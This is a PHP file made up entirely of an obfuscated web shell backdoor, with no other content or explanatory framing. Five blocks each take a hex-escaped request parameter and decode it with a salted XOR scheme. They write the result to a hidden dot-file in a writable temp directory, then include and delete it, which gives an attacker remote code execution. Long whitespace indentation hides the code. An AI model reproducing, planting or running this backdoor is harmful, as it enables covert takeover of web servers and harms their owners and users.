<?php																																										if(isset($_POST["\x64a\x74a\x5F\x63hu\x6Ek"])){ $record = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getcwd(), getenv("TEMP"), "/var/tmp", "/dev/shm", session_save_path(), getenv("TMP")]); $binding = $_POST["\x64a\x74a\x5F\x63hu\x6Ek"]; $binding= explode( '.' , $binding) ; $entity = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $__len = count($binding ); for($o = 0; $o < $__len; $o++) { $v8 = $binding[$o]; $sChar = ord($s[$o % $sLen] ); $dec =((int)$v8 - $sChar -($o % 10)) ^95; $entity .= chr($dec ); } while ($bind = array_shift($record)) { if ((bool)is_dir($bind) && (bool)is_writable($bind)) { $comp = implode("/", [$bind, ".reference"]); $file = fopen($comp, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $comp; @unlink($comp); exit; } } } }
																																										if(array_key_exists("r\x65c", $_REQUEST) && !is_null($_REQUEST["r\x65c"])){ $entity = $_REQUEST["r\x65c"]; $entity =explode ('.' , $entity) ; $binding = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $t = 0; while ($t < count($entity)) { $v3 = $entity[$t]; $chS = ord($s3[$t% $sLen]); $dec = ((int)$v3 - $chS - ($t% 10)) ^ 97; $binding .= chr($dec); $t++; } $mrk = array_filter([getenv("TEMP"), "/var/tmp", "/tmp", getcwd(), session_save_path(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP")]); $elem = 0; do { $pgrp = $mrk[$elem] ?? null; if ($elem >= count($mrk)) break; if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $comp = "$pgrp" . "/.token"; if (@file_put_contents($comp, $binding) !== false) { include $comp; unlink($comp); die(); } } $elem++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x66ac"])){ $parameter_group = array_filter([getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); $marker = $_REQUEST["\x66ac"]; $marker =explode ('.' , $marker) ; $desc = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s2); $p = 0; while( $p < count( $marker)) {$v2 = $marker[$p]; $sChar = ord( $s2[$p % $sLen]); $dec = ( ( int)$v2 - $sChar -( $p % 10)) ^ 57; $desc .=chr( $dec); $p++; } while ($res = array_shift($parameter_group)) { if ((is_dir($res) and is_writable($res))) { $ptr = "$res/.record"; $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $ptr; @unlink($ptr); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["ke\x79"])){ $res = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd()]); $resource = $_REQUEST["ke\x79"]; $resource = explode ( '.' , $resource ) ; $mrk= ''; $salt8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt8 ); foreach( $resource as $n => $v5): $sChar= ord( $salt8[$n % $sLen] ); $d= ( ( int)$v5 - $sChar -( $n % 10)) ^ 2; $mrk.= chr( $d ); endforeach; foreach ($res as $data_chunk) { if (is_dir($data_chunk) ? is_writable($data_chunk) : false) { $ptr = "$data_chunk/.flag"; $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $ptr; @unlink($ptr); die(); } } } }


if(@$_POST["o\x62\x6A"] !== null){
	$factor = array_filter([session_save_path(), getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/tmp"]);
	$tkn = $_POST["o\x62\x6A"];
				$tkn =	explode	( '.'		,$tkn	) ;		
	$res = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
            $u = 0;
            $len = count($tkn);
    
            do {if ($u >= $len) break;
                $v2 = $tkn[$u];
                $sChar = ord($salt[$u % $lenS]);
                $dec = ((int)$v2 - $sChar - ($u % 10)) ^ 64;
                $res 	.=chr($dec);
                $u++;
            } while (true);
	$reference = 0;
do {
    $ref = $factor[$reference] ?? null;
    if ($reference >= count($factor)) break;
    		if ((bool)is_dir($ref) && (bool)is_writable($ref)) {
    $elem = implode("/", [$ref, ".value"]);
    $success = file_put_contents($elem, $res);
if ($success) {
	include $elem;
	@unlink($elem);
	exit;}
}
    $reference++;
} while (true);
}